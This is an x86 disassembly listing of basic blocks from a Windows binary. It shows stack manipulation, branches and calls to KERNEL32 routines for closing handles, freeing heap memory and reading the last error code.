mov ebx, dword [esp + 0x230]
mov edi, dword [esp + 0x234]
mov ecx, 0x80000000
jmp 0x41044c
mov edx, dword [esp + 0x48]
lea ecx, [esp + 0x970]
push ebx
call fcn.00414de0
add esp, 4
cmp byte [esp + 0x970], 4
mov esi, dword [esp + 8]
jne 0x414d4f
mov byte [esp + 0x50], 4
push dword [esp + 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
mov edx, esi
call fcn.004043b0
movzx eax, byte [esp + 0x50]
cmp al, 4
je 0x412a65
jmp 0x40f1ac
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc4]
jmp 0x40f3be
mov ecx, dword [esp]
mov dword [esp + 0x44], 0
mov esi, 2
mov bl, 1
jmp 0x4126ef
mov edx, 0x2601
mov cl, 1
mov edi, dword [esp + 0xc4]
mov eax, edx
shr edx, 0x18
mov byte [esp + 0x4e4], cl
shr eax, 8
mov byte [esp + 0x4e7], dl
mov word [esp + 0x4e5], ax
mov dword [esp + 0x4e8], esi
mov dword [esp + 0x4e0], 0x80000000
mov esi, dword [esp + 0xc0]
mov eax, dword [edi]
test eax, eax
je 0x414c2b
push esi
call eax
add esp, 4
cmp dword [edi + 4], 0
je 0x414c49
cmp dword [edi + 8], 9
jb 0x414c3a
mov esi, dword [esi - 4]
push esi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x50], 0
lea esi, [esp + 0x4e0]
je 0x414c69
push dword [esp + 0x54]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0x4e0]
mov eax, dword [esp + 0x4e4]
mov ecx, edx
neg ecx
mov ecx, dword [esp + 0x4e8]
jno 0x414ced
mov dword [esp + 0x4e4], ecx
mov dword [esp + 0x974], 2
mov dword [esp + 0x9bc], 0x80000000
mov dword [esp + 0x9c8], 0
mov byte [esp + 0x9d0], 8
mov dword [esp + 0x4e0], eax
mov dword [esp + 0x970], 2
lea ecx, [esp + 0x740]
lea edx, [esp + 0x970]
push esi
call fcn.0049f730
add esp, 4
cmp dword [esp + 0x740], 3
jne 0x410ae2
jmp 0x414d0d
mov dword [esp + 0x744], edx
mov dword [esp + 0x748], eax
mov dword [esp + 0x74c], ecx
mov dword [esp + 0x740], 3
mov eax, dword [esp + 0x74c]
movq xmm0, qword [esp + 0x744]
mov dword [esp + 0x1d0], eax
movq qword [esp + 0x1c8], xmm0
mov eax, dword [0xfd5064]
cmp eax, 2
je 0x410b41
mov ecx, 0xfd5064
mov edx, 0xfd5064
call fcn.004e7900
jmp 0x410b41
mov eax, dword [esp + 0x970]
mov ecx, dword [esp + 0x974]
mov dword [esp + 0x54], ecx
mov dword [esp + 0x50], eax
jmp 0x40f3c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [esp + 0x230], 0
je 0x414daa
push dword [esp + 0x234]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
ud2